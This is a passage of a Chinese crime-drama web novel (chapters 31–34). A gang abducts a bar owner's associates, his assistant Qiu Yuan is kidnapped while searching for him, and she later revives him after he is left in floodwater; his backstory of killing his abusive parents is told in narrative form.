“呵,行了就先跟你唠这么多,累死我了,长途跋涉过来又给这家伙擦屁股来了,我得先去睡会儿。”此刻已满身酒气,说着打着哈欠轻车熟路地往卧室走,“对了,卧室的床单被子什么的,多久换的?”
“你放心睡吧,刚换的新的,没人睡过。”没想到这男人事还挺多。
31.乔木兰花 03
章姓男人睡了没几个小时,就实在受不了楼下的音乐,虽说这房子隔音效果做得很好,但他听力相当敏锐,任何细微的声响都逃不过他的耳朵,耐不住楼下这么折腾。他爬起来昏昏沉沉地倒了杯水,想起什么,便端着水杯径自去对面的房间。
麦子蜷缩在沙发上睡着了,康静山躺在躺椅里,睁着眼一动不动望着窗外。
“你这是要成仙呀?一声不吭就这么静坐着?”
康静山侧头看了眼睡着的冯麦。
“行行知道了小点声。” 他搬了张椅子放在他旁边。
“你怎么来了?”
“我来看你呀丫的,一来就不放我安宁。”男人起身翻看了摆放回原位的药柜,“不过看你这副模样,再拖一拖就可以归西了。这些药啊,跟着你一起入土得了。”
“借你吉言。”
“客气。”男人也是佩服这人的耐性,死猪不怕开水烫,倒是把自己气得不行,“我问你,药怎么都没吃?”
康静山的神情很宁静,跟下午发狂的那个怪物简直不能相提并论,似笑非笑的脸上扯动了下嘴角,“之前突然想到,要是走得够远,也许就不用回来了。”
“我可跟你说明白,要是想走自己麻溜滚,别把这一姑娘一屁孩儿的扯进来。也就幸好他们两人都没出什么事,要不以你的身手,现在可有你后悔的!”
康静山没接话,也不知这话他听进去了没有,但这突然沉默的氛围倒让他些许不爽,硬是刨根问底了一回,“你留的那个姑娘,什么来头?”
见他不言语,男人略急躁,“怎么?这也不能跟我说?”
静山吐了口气,眼珠转了转,嘴里挤出两字,“炸弹。”
“什么玩意?炸弹你留身边?”
“炸弹还不紧紧看着,难道自爆啊?”
“我算是发现了,你这疯颠是病入膏肓了,我给你开再多药都没用。你这儿的人啊,也没一个正常的。”
康静山罕见的笑了,沙发上的冯麦一个翻身,从沙发上掉了下来,哼了两声接着睡了。
两人静静地坐着,有一句每一句地聊着,楼下传来异样的声音。
“什么动静?”
康静山反倒是格外冷静,想起什么似的,突然来了句,“陆川出去了?”
“我睡之前他就出去了,不知道回来没。和一姑娘。”
“一姑娘?”
“青梅竹马吧。”
康静山从躺椅上慢条斯理地起身,“你在楼上待着,麦子醒了也别让他下去。”
“怎么?出什么事了?”
“不知道,可能有谁来了。”
康静山出去后带上了门,下到一楼,已乱做一团,客人基本上都被吓跑了,店里的服务生和穿着黑衣服的人打得不可开交,耿山南挡在楼梯口,护着身后的秋原,时不时踹飞企图冲上来的人。
拍了下耿山南的肩膀,他和秋原一同回头,看到静山的脸两人似乎都有些松口气。
为首的是个个子不高的男人,板寸,镶着两颗金牙,手里有节奏地敲着铁棒,纹身从胸口蔓延到左侧脸,掩饰着的刀疤并不容易看到。
“哟,康老板,终于把您给惊动了,不过也没办法,小的来也就为了这事来,几个老板您得罪的也不是一个两个,也不是小弟我不给您面子,只是这面子太沉了,几个老板加一块的面子您都不肯赏,那没办法,只好派小的来了。”
“现在走,我便不追究了。”
板寸男人像是听了天大的笑话狂笑不止,“我今儿要是走了,您寻不着您那管事的,小弟我这不就白折腾一趟?”
康静山眯起眼睛,神色也冷凝下来,“陆川呢?”
“您不跟我们走,怎么见着呢?不过您得一个人来,不然……”
康静山走上前一步,秋原让开了路,眼神里充满了不安。
“我再问一遍,陆川呢?”
许是他的眼神太过凶悍,男人旁边的人退缩了一步,“怕什么怕!这么多人!一群窝囊废!”说完指着康静山喊道:“自然是在我们手上,不过放心,小命还是在的,只要您跟几位老板见上一面,一切都好说。”
康静山轻扶着耿山南的胳膊,低声说道,“南哥,托您照看下店里,我很快回来。”
“好。”
康静山迈开大步,那群人自动让开一条路,秋原的脚紧跟着迈出了一步,还是望着他的背影停下了。
“山南哥,怎么办?”秋原心里很慌,总觉得不安。
耿山南招手示意,两个有经验的店员跑了过来,“你们俩跟上去,小心别被发现了,有什么情况随时联系。”
“是。”两人紧跟着跑了出去。
“岳楼。”
“南哥。”
“你带上两人打听下陆川白天的踪迹,看能发现什么嘛,他带着一个女孩,多打听打听,沿街店铺的监控也去查查,有不配合的给我打电话。”
“是。”
“南哥需要我做些什么?”
耿山南现在大脑快速地思考,以防漏掉什么,“秋原你吩咐下店里收拾起来,收拾好后让他们都先回家,之后有什么行动再通知。”
“好。”
秋原跟店里剩下的人收拾残局,心里还是止不住地乱想,往后门扔垃圾时,发现街对面耿山南不知在跟谁打电话。
章姓男人慢悠悠地下了楼,看到空荡荡的酒吧倒也毫无诧异,秋原扔了垃圾回来,店里基本上都已收拾妥当,店员们都让他们先回去了。
“静山呢?”
“来了一伙人,用陆川威胁带走了他。”
男人哦了一声自顾自地寻了瓶好酒,找了个杯子倒了杯,坐在吧台内侧慢慢品酒。
看他这么神闲气定,秋原忍不住说:“看你这么清闲,倒是毫不担心啊。”
“担心?”男人似听到了什么好笑的事,“康静山这家伙需要人担心吗?一个人喝酒多无聊,来陪我喝一杯。”
说着又摸出一只杯子来。
“我不喝。”
“唉真是扫兴啊。”男人看她欲言又止的神色,轻而易举就猜透她在想什么,“看来你好奇的真不少啊,不陪我酒,还想我讲故事啊?哪儿有这么划算的事?”
秋原坐在他对面的高凳上,从他手中接过那杯酒,一口气喝完了。
男人眯着眼饶有兴趣地盯着她看,低声说了句“单细胞生物。”
“什么?”
男人笑了,抿了口杯里的酒,眼睛聚焦在杯中的液体上。
康静山的父母都是大学教授,
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在同一所学校教学,深受学生们爱戴,两人在学校里也是一对神仙眷侣,他们就住在学校附近,经常会有学生周末的时候来看望他们。
静山就在这样的氛围中成长,他聪明,智商很高,学习能力也强,从小就成绩优异,性格也好,待人接物都格外有礼貌。
在他九岁生日那天,他的父母都没有上班,学校打来电话,是他接的,说今天是他生日。学校的老师也都认识他,自然明了这父母俩人是陪孩子过生日了。
第二天他们还没有上班,学校再打电话,就没有人接了,一老师来看望他们,敲了很久门都没有回应,就在他以为屋里没人的时候,门开了,静山站在门口,目光无神。
老师发现他手上都是血,冲进屋里发现教授夫妻在卧室床上死了。
老师报了警,证实他们已经死了超过三十个小时,房屋密闭无任何外人闯入痕迹,年仅九岁的静山亲手杀了父母二人。
“为什么?他为什么……”
“为什么杀了他父母?哈哈……”
所有人看到的都是他们一家和和睦睦的模样,夫妻二人学识样貌无一不配,他们大学恋爱,本科毕业后即结婚产子,儿子也是听话而优秀,多少人羡慕这样的一家人,但只有他们清楚,关上门这个屋子到底是怎样的囚笼。
静山从五岁那年开始发现这个家的不对劲,父母分别安排给他不同的学习任务,超出他本该学习的范围不说,通宵更是常事。
为了达到及其优秀的父母的期望,静山是一刻也不敢停歇,随时都紧绷着弦,扮演着父母眼中的好孩子。
在外人眼中格外恩爱的父母,也在他六岁后,撕裂成不同的模样。他们会因一件小事争执,埋怨对方,后来甚至咒骂彼此。
他们精心伪造了世人眼中完美的家庭,却在光鲜亮丽的外表下尽显丑陋的人性。
再后来女学生经常来家里看望父亲,两人甚至独自在卧室待一下午,母亲回家后也只是敲一敲卧室的房门。
他们的争吵演变成大打出手,带着伤的两人心照不宣地以同样的理由请假。
从那之后母亲经常打骂年幼的静山,她把生活的不顺发泄,归咎在她和丈夫共同的儿子身上。
出事之前的半年,母亲频频带父亲的一个朋友回家,他们在卧室里□□,有时母亲气急,会要求静山也在卧室里待着不许出去。不知道他是怎么过来的,反正他就是过来了。
他们分别跟不同的男女□□,因彼此的背叛而吵架而打架,夜晚又都在同一张床上共同入睡。
静山觉得他们三个人是在互相惩罚,互相折磨着,他不止一次听觉求救声,男声女声,求他结束了这一切。夜晚他辗转难眠,在恐惧和无惧中踱步,他不知醒来看到的是什么,不知这层虚假的外衣何时褪去。
九岁生日的前一天,他分别小心地向父母打探明天是什么日子,他们没有给出预期的答案。甚至还在为对方和谁上了床而争吵。
天渐渐黑了,无惧打败了恐惧,占据了上风。父母上了床,睡了过去,他拿着刀在他们床前站了近三个小时,子夜过了,他们睡熟了,无惧挥起了刀,轻而易举地结束了喧嚣的求救声。
那一刻世界突然安静了,静山很享受那静谧的时光,窝在床边,直到黑夜过去。
32.乔木兰花 04
“你怎么知道这么多?”
男人把酒杯里仅剩的酒一饮而尽,微醺着说:“我?我本来,是个心理医生。”
秋原还在消化刚听到的大量信息,男人开口语调沉重了起来,“等他回来,你多留意下,近几个月的药都没怎么吃,不知道他想干嘛。”
“这话是,什么意思?”
男人晃着酒瓶里的酒,目光随着酒水而动,嘴角浮现一丝浅笑,“他呀,你当他是活下来了,说是活着,可每活一天,都比死了还难,要不是他意志够强,早不知道死多少回了,不过这次来,我看他状态不怎么样,药也没吃,谁知道他那根弦,绷到什么地步了。”
听完这话,秋原的心揪成一团,脑海中浮现出平日他慵懒的模样……
店里的两个男生追踪那伙人车的踪迹,天晚路况不好跟丢了,另一边岳楼他们沿街找了三天,终于在一家珠宝店的监控里发现了带走汤雪梨的汽车,查着车牌,跟到了郊区一处废旧的大楼,找到了陆川和汤。
楼里安装了炸弹,陆川用铁链绑在柱子上,怎么也解不开。
“这是康静山留给你们的礼物,希望你们喜欢。”说完就跑了。
“别追了,去找那个女孩,找到了带出去走远点。”
“南哥!”
“岳楼,还不快带他们去。”
“是!”
耿山南集中精力处理炸弹,陆川迷迷糊糊恢复了意识。
“南哥……静山呢……”
“你先别说话,等我把你带出去再细说。”
“我见到他了,他跟那帮人说,随意处置我的命……”
“他是为了救你,你还不清楚吗。”
“我知道……可我害了他……你,你别管我了……快走……带上雪梨……”
耿山南额头冒出汗来,计时器上的数字格外扎眼。
“陆川你信我吗?”
“信……”
“好,那你这条命就交到我手上。”说完剪断了一根引线。
汤雪梨醒来睁眼看到秋原,慌乱中才寻得一丝冷静,深深呼了几口气,本苍白的脸上逐渐恢复了人气。回想起被关在废楼里的场景,还是忍不住全身一震颤栗。
“这是哪儿?”
“医院。”
“陆川呢?他人呢?”
“他伤得有些重,不过你放心,没有生命危险了。”
汤雪梨这才松了口气,“谢谢你……我,我是怎么回来的?陆川他……”
“不是我,是山南哥,陆川也是他救的,具体我也不清楚,不过没有他办不到的事。”
秋原是听山南哥的吩咐,只说了一半,其实找回来的只有她和陆川,至今还没有康静山的消息。
汤雪梨带着微弱的笑意,神情却带着一丝忧郁,“真好呐,他身边有你。”
秋原敏锐地察觉出她的异样,“你不要误会,我跟陆川只是工作上的关系,他人很好,但我们绝没有什么其他的关系。”
大概是看她如此抓恼地解释,汤雪梨脸上的微笑增添了些神色,“我知道,我知道。”
这几个字她重复了多遍,声音越来越小,脸上的神色也渐渐暗淡,像是在说给自己听。
“我都知道的,”她突然笑得很灿烂,眼神里充满了欢喜,眼角一滴泪落下,无声无痕,“我们从小一起长大,我们的爸爸妈妈们开玩笑说以后结为亲家,大人们的客套话真真假假都有掺拌,说得多了,他听了也只是不言不语,可能就我一个人当真了,一直一直,幻想着长大了给他当新娘。
后来上了高中,一所学校不同班,他跟他班里的人都玩得很好,有个男生,他们经常一起打球,一起上下课,我看到他,或是专程去找他的时候,那个男生基本上都在。
不知怎么有人看不过去,说他们是同性恋,我从朋友那里听到这些话特别生气,就去找他,让他跟那个男生离远一点,他听了特别诧异,特别伤心。我知道我不该去怪他的,明明是那些人的问题,可那时候,我真的是故意,还在气头上,因为那个男生,他不跟我一起上下学,放假也不会带我去玩了。
我本以为他会凶我,谁知道他就那么伤心地看着我,一字一句地说,他应该是喜欢他的。
我听了特别震惊,一下子就懵了,我还兴致冲冲去让他离他远一点,真是可笑。我不知道该怎么办,不敢告诉爸妈们,怕他们告诉了他的爸妈。我想他可能就一时冲动?兴许有人这么说,他们相互注意些,也不会出什么事。
没想到这件事越闹越大,老师校领导找他们谈话,批评警告他们,还给他们换了不同的班,新同学看他都像看怪物一样,在新班里他没有朋友,没有人愿意跟他说话,有些是一起玩过的男生,虽没说过什么,但谣言搞得人心惶惶,加上一些有心人添油加醋,谁也不跟他说话,老师也无视他。
那段时间,上下学我都跟着他,他不让我陪他一起,我就只能远远地跟着,生怕他出了什么事。
有天放学,我们班上老师拖堂,下课时我已经找不到他了。那个男生,那天死了。
我后来才知道有几个学生,勾结校外的人,找他们麻烦,说很难听的话,他们就打了起来,那几个人不知谁带了刀,意外捅到了那个男生肚子,出了事他们都跑了,他抱着他去医院,手上,身上,都是血,那个男生没救活,死了。
打架的人都是未成年,家里有钱的有钱,找人的找人,这事就不了了之了,除了死去了的那个男生,什么都没有变化,只不过出事后他就再没跟我说过一句话,跟其他人也不说,整个人一下子沉默起来,他以前也不多爱说话,但出事后明显看得出,他的沉默能让人感觉到害怕,我怎么劝他都没用。
后来有一天,参与打架的那几个男生,都受伤住院了,但他们都不说是怎么伤的,在那之后,他就走了,再也没回去过。
谣言传得很凶,甚至很多牵扯他父母,他爸妈因为这事说过一两次他,但看得出他不好受,以他们的认知难以理解他,更别说是开导他,所以也不敢在他面前说什么。他走了这么多年,从来都没回去过,叔叔阿姨都特别想他,忍受了很多非议,这些年也熬过来了,但不敢让他回去,他们怕他回去谣言会伤害到他。
我也很想他,想见他,抑制不住地想见,就感觉见到了他一切都变好了,见到他这些年难受也都没什么了,但是啊,是我太天真了,我不该寄希望在他身上,我不该也不能要求他。”
话音落了,秋原注意到女孩的眼眶里都是泪,但都没流出来,她似乎想笑,但嘴角一扬,表情看起来越加悲伤了,她觉得自己应该说点什么。
“他是个很好的人,酒吧基本上都是他在管,经营得很好,他对人也很好,听你这么说,他心里也有想守护的人,我想他会照顾好自己的,这么些年,你看他
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不也过得好好的?”
汤雪梨的笑容平添了些苦涩,“你不用给我解释了,经历昨天的事,我知道他过的是什么日子,也知道他现在做什么,只是啊,”
她说着,没忍住哭破了音,“以前那么阳光,那么正气的一个人,变成现在的样子,是他想的吗?”
秋原张了张嘴,想说些什么,还是没能发出声。
汤雪梨没什么受伤,休养了两天已经可以出院了。陆川昏迷了一天才苏醒,不过他伤势过重,秋原没告诉他实情,拜托了医生在药物的作用下让他又睡过去了。
汤雪梨在陆川睡着的时候走的,她坐在床边看了他许久,终于还是走了。
不告而别。
就像当初陆川曾干的事。可能这是她唯一,以及最后的任性了。
秋原去送她,“希望你找到喜欢的人。”
汤雪梨没有说话,笑着招了招手,淹没在人群中。
她会过自己的生活吧,从今往后。
秋原视线所及被熙熙攘攘的人流填充,曾推心置腹的人就此别过,就像这无数擦肩而过的旅人,只一面,此后的人生再不会遇见。
废旧大楼,最后发现康静山的踪迹,在那之后,就再也寻不到蛛丝马迹。
耿山南一直在联系认识的人,吩咐了人手四处寻找静山的踪迹,从他离开已经一周的时间了,还是杳无音讯。
秋原没告诉陆川静山的事,可他还是猜到了,不听劝一定要出院,秋原怎么也拦不住,拦了辆出租车,送他回了酒吧,
出事后酒吧就停止营业了,此时门口停着一辆红色豪车,不用想都知道是玫基来了。
陆川一瘸一拐地冲进了门,秋原扶着他以免他跌倒。
“玫基,你有静山消息吗?”
玫基瞥了他一眼,语气冷厉地说:“可是因为你的女人导致现在的局面。”
陆川低下头咬紧了牙关。
“陆川又不是成心的,在静山看来他不可能不救陆川。”
“这儿有你什么事?”
“玫基,先紧着静山的事来。”
听耿山南这么说,玫基这才没继续刁难下去。
“我哥哥过几天才回来,他那边能用的人我都吩咐下去了,不过这么多天没有消息,可能牵扯到的人不止那几个,我比较担心他们跑到别的市。”
“之前钱域的事,曹威肯定脱不了干系。”
玫基点点头似想起了什么,“说起钱域,你们把他收拾一顿不久好了怎么还把他送进局子里了?”
玫基的眼神落在秋原身上,感觉能把人吃了。女人的直觉就是莫名其妙。
陆川抢下了话,“钱域干的事静山盯了很久了,这个人晃荡着早晚捅出事,倒不如送进去保险。”
玫基点点头,长睫毛一动一动,抿了下涂着酒红色的口红的嘴唇,接着说:“曹威我问过了,他说跟他没关系,不过你们这么说,他这话不怎么信得过,我回去再查查这个人。其他几个可能有关系的,我哥不在,我也不方便,等不到他回来了,这样我给你们几个地址,这些地方可以盯一盯。”
“好。”
“有消息随时联系。”
麦子从楼梯口探出脑袋,认真观察了形势,还是忍不住问道,“康哥他……”
耿山南摸了摸冯麦的头发,嘴角露出浅笑,“别担心,我们会把他带回来的。”
33.乔木兰花 05
秋原帮不上什么忙,在山南哥的要求下回了家,慢悠悠地晃荡到了家门口,才发现带回来的钥匙是酒吧的,郁闷地在路边坐了好久,思考不知道静山有什么消息吗,最终还是动身折回酒吧。
果然在吧台上找到了钥匙,耿山南和陆川都不在了,空荡荡的酒吧一时间还有些吓人,电话铃声突然响起,秋原一个激灵,走到吧台后的电话前。
“喂?”
“山南哥!不是,秋原?山南哥呢?”
是岳楼的声音。
“他不在店里。”
“川哥呢?”
“也不在。”
“哎呀,我联系不上他们,你听我说啊,我追上他们一辆车,黑色大众,春望路往世纪桥方向,车牌是K5791,记住了。”
说完就挂了电话。
“喂?岳楼?”
她挂了电话,打给耿山南和陆川,果然是没人接,在便签纸上写下信息贴在吧台上,麦子听到动静从楼上下来。
“你没回去?正好,”说着拉着他的手把他带到吧台前,“这上面的地方,你打电话给南哥或是陆川,告诉他们这个位置。”
“你干嘛去?我跟你一起。”
“你待在店里,尽快联系上他们。”说着冲出了门,拦了一辆出租。
“世纪桥方向,世纪桥方向,春望路过去,”她突然想起玫基说担心他们出了本市,“春望路过去不止是世纪桥,要是他们不上世纪桥的话,左拐到金富路,那就是去沧市了。”
“小姑娘你念叨啥呢去哪儿啊?这直直开开到哪儿去?”
“金富路去沧市,师傅麻烦快一点。”
“去沧市我知道条近路,不用过金富路。”
“那师傅您知道金富路进了沧市是哪里吗?”
“沧市我熟啊,直接到运杉路,常走的就一条。”
“运杉路,那师傅抄近路上运杉路,我要找人,麻烦快一些,谢谢。”
“好嘞没问题。”
还没出市,天就逐渐黑了下来,一路往西走,车开再怎么快也追不上日落的速度。
秋原心中的希望,就好像此时岌岌可危的太阳光,稍一不留神,就彻底淹没在黑漆漆的地平线以下,荡然无存。
进了沧市运杉路上少有过往车辆,行驶了一段路秋原只觉得石沉大海的无望,怕是错过这个机会了。
“姑娘你这是要找什么人啊?”
秋原看着黑漆漆的窗外,不知道怎么回答,仅有的月光散发出微弱的光,弥散在汹涌无边的黑夜之中,车子还在沿着运杉路行驶,她突然看到前方有车灯在闪。
“师傅麻烦你开慢点,开过去不要停。”
秋原仔细看着前面停着的车,后备箱开着,几个人围在车尾,不是岳楼说的车型。
再往前发现这辆车斜前方还停着两辆车,其中一辆快掉下来的车牌正是岳楼所说的,不过看样子发生了车祸,车尾损毁。
秋原靠在车的另一边,坐低了身子,出租车驶过了这几辆车,她赶紧拍拍司机的肩膀,“师傅借用下手机。”
电话嘟声刚响起,车后一束刺眼的光,紧接着一辆车发出刺耳的马达声撞了上来,秋原在座椅上东倒西歪,手中的手机掉了。
跑过来几个人把她和司机粗鲁地拉下了车。
“什么人?”
司机师傅吓破了胆,屈膝摆着双手颤巍巍地说:“我我就一开出租的我什么都不知道,我就送这姑娘啊,我什么都不知道。”
秋原听到一个声音说“不是警察”,知道他们是怕警察来,这才呼了口气。
“我见过这女的。”
听到这话,秋原僵在原地,一动也不敢动。
“就是她,康静山酒吧的。”
“哟呵,送上门来了。把她带回去。”说完两个人推搡着她往车上走。
“老家伙你还知道些什么?”
“我什么都不知道,真的不知道,我不认识这姑娘,我就拉上她她说去沧市我就送她过来了。”
“老家伙想活命吗?”
“想想想!”
“这姑娘你就没见过,沧市你也没来过,要是泄露出去半个字,放心我早晚找到你家里给你收尸,听明白了吗?”
“是是是!明白了明白了!”
“明白了还不快滚!”
秋原恢复意识时,已经记不得自己在车里是如何晕倒的,整个人蜷缩着塞在一个狭小的空间中,未知的恐惧一下子涌上心头,不敢发出任何动静。
隐约听得到浅浅的人声,但听不清说的到底是什么。
箱子被人踹了一脚,拉链拉开,秋原感觉到了光亮。
“哎哟这女人长得还怪标致。”说着掐着她的脖子令她面朝向他,“给她松开。”
两个人粗鲁地把秋原松绑,卸下眼罩发现她在一间非常豪华的客厅里。看得到的人就他们三个。
说话的男人不怀好意地盯着她看,秋原低下头理了理胸口的衣服,警惕地环视周围。
男人走近了一步,抓着她的手腕强吻了上去,她被逼退了几步抵在墙上,两只手都被钳制着挣扎不得。
秋原寻得机会踢中他的□□,男人立刻弯下腰连连后退,嘴里骂着脏话。
旁边的一个人接了电话,趴在他耳边说了什么,男人立刻挣扎着直起身,慌乱地理了理自己的衣服。
客厅的门开了,一个看起来三十多岁的人走了进来,瞥了一眼便已经知道发生了什么,恨铁不成钢的怒火也溢于言表,神色顿时威严起来,“我让你干什么来着,丢人。”
男人踉跄着跪在中年人脚边,“对不起大哥,我的错。”
这位大哥吩咐了身后跟着的人不知道何事,转而和颜悦色地招呼秋原,“这位便是静山的人了,既然如此自然要好好招待,晚饭已经准备好了,请跟我一同前往。”
“静山在哪儿?”
“想见他,跟我来就对了。”
秋原迟疑了一下,但眼下自己也是身在虎穴,想跑怕是很难了,鼓起勇气跟了上去。
走过长长的走廊,一路上不少瓷器画作,墙纸吊灯也格外精致。
走到一扇门前,门口站着的两个人打开了门,一张圆桌坐落中央,桌上是已经备好的丰盛菜肴。
那个人坐在了主位上,抬手示意秋原入座。
“静山呢?”秋原不肯动。
男人笑了笑,转而吩咐身后的人,门又被打开了。
“静山!”
静山身后跟着两个穿着黑西装的人,其中一个推了他
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肩膀一下,整个人软绵绵的向前倒。
秋原跑过去扶着他,眼神恶恨恨地瞪着那个人。
“静山你没事吧?”
“秋原?”静山的声音带着不确定的疑问。
“是我,你……”秋原没有说下去,她扶着他坐下,眼神一刻也没有离开,他看起来格外憔悴,身子骨也轻飘飘的。
“看来是我这里人照顾不周啊,让康老板在我这儿受罪了啊。”
静山冷笑一声,眼神似没有焦点,但眼里的狠劲让秋原都感到些许害怕,“余海我现在给你答复,你想要的不会从我这里得到。”
“康老板别这么心急啊,等我们边吃边慢慢聊,这都有几天了,想必康老板现在对眼前的情况也了解了不少,先吃饭,来请动筷子。”
静山脸色苍白,嘴唇没有一点血色,“这顿饭怕是我吃不起。”
“别呀,好几天滴水未进你要是在我这儿出点什么事,我可收受不起。”
秋原拿起筷子放在他手里,静山的手抖了一下,筷子掉在了桌上。
对面的余海不经意地笑了,“放心吧康老板,这顿饭绝对没问题,好在我余海一顿饭还是请得起。”
秋原盛了一碗汤,吹了吹尝了一口,勺子举在他嘴边。
“张嘴。”
静山的眼皮一抖,乖乖地张了嘴,随即皱了眉。
秋原知道他不喜欢,但还是让他喝下去,她细细挑了鱼肉,放在他的碟子里,“小心可能还有刺。”
可能是过于虚弱的原因,也可能此时的秋原过于严肃,静山乖乖地吃了些健康的食物。
“看来,这个女人,对你还挺重要的啊,之前怎么打听都没找出来你看重的人,跟着你那么久的陆川都能舍掉,没想到就藏在身边啊。”
静山恢复了些气力,慵懒地靠在椅子上,眼睛也差不多看得清了,“她是我什么人不用你操心,你只要知道惹到我有什么后果就行了,”
余海拍了拍手,笑着说:“康老板果然重情重义,不过陆川那小子怎么没见你这样,怕是让那小子吃了不少苦头。”
余海放下筷子,胳膊撑在桌子上,不怀好意地笑着,“不知我之前谈的条件,康老板考虑得怎么样了,不过你别急着回复我,这儿不还有位姑娘嘛,你再好好掂量,一条命是命,两条命就不一定了。”
秋原紧张得看了静山一眼,他脸上看不出多余的表情。
“答案我已经给你了,不用我多说了吧。”
“别别别,康老板现在可能没搞清楚状况,我这不是跟你谈条件。”说着眼神落在秋原身上。
“余海,你要是打她的主意,死的可就不一定是谁了。”
余海哈哈大笑,“康老板的身手我自然清楚,不过我还真不想走到那一步。这些年,你背地里给周星耀干的擦屁股的事还少嘛,我也没见他对你怎样,这不你都失踪多少天了,也没见他有什么动静啊。
不是我说,你可能没搞清楚状况,现在的周星耀可是众矢之的,我这词用得没错吧,想搞他的人多了去了,今天不是我对你动手,明天还不知道你这小命死谁手里呢。没了你,周星耀还能逍遥几天?都是早晚得事。”
静山无动于衷地听着他的长篇大论,食指在叉子上有节奏地一敲一敲。
34.乔木兰花 06
“倒不如,你听了哥哥我的,只需给我一条,周星耀的把柄,我就可以放你回去,你的人你的店我可以确保没人敢动,等周星耀拜拜了,我给你的绝不比他的少。”
“你可能有些误会,”静山费解状地挠了挠头,“我的人我的店没我的允许谁也别想动,你跟周星耀想怎么搞怎么搞,我没兴趣,你要是想好了送我们回去,要是想不好趁早动手。”
余海狠拍了下桌子,揭开了表皮露出恶狠之相,“康静山你敬酒不吃吃罚酒,看来我们是没得谈了,来人。”
几个人撞门而入,“是。”
“把这个女人,带下去好好招待。”
秋原不安地抓着静山的袖子,眼看那几个人走了过来。
静山起身将凳子摔在那几人身上,手里握着的叉子准确无误地插在最前面人的胸口,紧跟着抬脚将他踹飞。
随即扑上来的三人也都被他撂倒在地。
静山气定神闲地走到桌前,把叉子一扔,拳头撑在桌面上,眼睛似乎也发红了,整个人散发出与往日截然不同的危险气味。
“余老板,既然要玩,就好好玩,这不三不四的阿猫阿狗浪费你我时间?”
“康静山,周星耀早晚都玩完,不过时长时短的问题,但你要是不说,今天死的可就只能是你。”
静山放声大笑,但体力不支笑完之后一阵猛咳。
“静山,你没事吧?”
静山袖子擦了下嘴,直起身来,右手抓着秋原的肩膀。
“你先出去。”
秋原低声说:“不行,我好不容易找着你了,我要带你回去,麦子,陆川他们都等着你呢!”
静山无声地笑了。
“听话,先出去。”
秋原看了一眼余海,忧心忡忡地凝望着静山,还是迈开了步子。
门口站着的人一动不动,目光凝视前方,对她的出现也无动于衷。
她在门口站着,不知道静山打算怎么办,眼下也不知道该如何离开这儿。他不能在这儿出事,她得把他带回去。
门突然开了,静山出现在眼前,秋原的眼中立刻被欢喜占据。
他拉着她的手。
“去哪儿?”
余海在身后吩咐,“带康老板去休息。”
一间装饰同样奢华的客房,刚一关上门,静山便冲到卫生间趴在马桶边狂吐。
“静山!”秋原拍拍他的背,给他接了水漱口,“怎么样?好点么?”
静山洗了把脸,坐在地上,无力地摆摆手。
“来我扶你去休息。”
静山踉跄着起身,步子也不稳当,指了指沙发,秋原扶他过去。
“哪里不舒服么?”
静山躺在沙发上,一只胳膊挡在眼前,一动不动。
秋原找来毯子给他盖上,坐在地上看着他,满是愁容。
她突然有些担心,他在眼前固然是莫大的安心,可她不想他受伤,不想他这么难受,她想起章姓男人的话,可她一点都看不出眼前的人在想什么,她轻轻抓住他的另一只手,希望他能好受些。
秋原不知道何时睡着的,只知道醒来时沙发上已经没人了,急忙四下寻找。她又找不到他了,无助与焦急在她心口作祟,客房外的人一个一个问,没有人给她回答。
她在这栋房子里无头苍蝇般乱撞。
“秋原姑娘,请跟我们走。”迎面走来的两个人说。
“去哪儿?静山呢?”
“不知道。”
“你们怎么可能不知道,你不说去哪儿我不会跟你走。”
秋原退了一步,注意到楼下停着几辆可疑的越野车。
“请跟我们走,我们送你回去。”
秋原冷静了一下,开口道,“我外套忘了拿了,在客房,麻烦你帮我拿一下。”
“请稍等。”
其中一个小跑着折回去,她瞥了另一个一眼。
“回去得多久?”
“不知道。”
“那我先去个厕所,你在这儿等我,他外套拿回来你看下里面有张纸条没,是昨晚上静山给我的,说是要交给余海。”
那人一听警觉了起来。
秋原故做淡定地往卫生间走去。
秋原醒来,后脑勺嗡嗡得疼,手腕和脚腕绑着粗麻绳,她尝试着把绑在背后的双手绕到身前来,尝试了几次都没有成功,筋疲力尽地躺着不动,一时间不知如何是好,突然听到了短促的人声,她赶紧让身体放松下来保持着刚醒来时的姿势。
一声响声后,有光亮,紧接着就听到清楚的男声,“在呢绑着呢。”
说完跟着一声响那光亮也没了,秋原这才意识到自己被关在汽车后备箱。
她佝偻起身子又一次尝试,胳膊拉伸得生疼,费了很大功夫终于把手绕到了身前来,但一个没收住,双手撞到侧沿发出一声闷响,她屏住呼吸听闻外面的动静,好在只有砸在车身上的雨声。
她忙揭开眼睛上的蒙布,慢慢地撕开嘴上的胶带。手腕和脚腕上果然都是用粗麻绳绑着,这也就是说她可以解开,但还是比想象中费了些功夫。
在门锁附近摸到了一个小圆盖的地方,她仔细在后备箱摸索了一番,不知这后备箱之前放过什么东西,竟还有铁锤电锯等工具,她努力回想着陆川曾教她的,没想到真有派上用场的一天。
在工具下摸到了根铁钉,用铁钉撬开那个小圆盖,捣鼓了几下,后备箱开了,她开了一条小缝,看得到是比腰还高的杂草,远处有一条公路。
雨下得不小,杂草东倒西歪摇晃着。仔细听了好久外面的声响,不远处有一群男人的声音,她蹑手蹑脚从后备箱里爬出来,那群人吹着口哨大笑着,远远地就找准了静山的身影。
她只能在泥泞的土地里匍匐,藏身于杂草丛中。
她揪心,不敢看又只能听着,好希望一切快点结束,直到全身都被雨水打湿,那群人才说笑着往越野车队这边走来。几辆越野车从泥沼中呼啸而去,彻底从雨雾中消失。
秋原扑进水里,她到底还是怕水,心里咯噔了一下,但行动上没有片刻的迟疑,踩在湿泥上每一步都走得很不实在,与走到水快漫过胸口的地方终于到了康静山漂浮的身体旁。
她拖着他上了岸,检查他的伤势,看不出他流了多少血,她听了听他的心跳,感受了一下他的呼吸,心里格外慌乱,她什么都感受不到!
“别死啊!别死啊!抢救!抢救怎么做来着?”
她回忆陆川教她的抢救措施,当时还不知为何要
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学,而且也从没有实际操作过。下压额头抬起他的下巴,双手交叠在一起,在他胸骨下半部胸部正中央做按压,然后是两次人工呼吸,但躺着的康静山没有丝毫反应,他像是睡着了,脸上神情格外平静,看不出任何痛苦,以至于秋原恍惚了,难道这是他希望的?
她摇摇头试图驱散这样的想法,“康静山!康静山!”
她深吸一口气,重复着。
终于他吐出一口水,开始有了极为微弱的呼吸和心跳,但还是没有恢复意识。
雨越下越大,周围一片荒芜除了高高低低的杂草什么都没有,距离最近的一条的公路也有相当远的距离。
她在草丛中找到了那伙人丢下的一把匕首,别在了腰间。
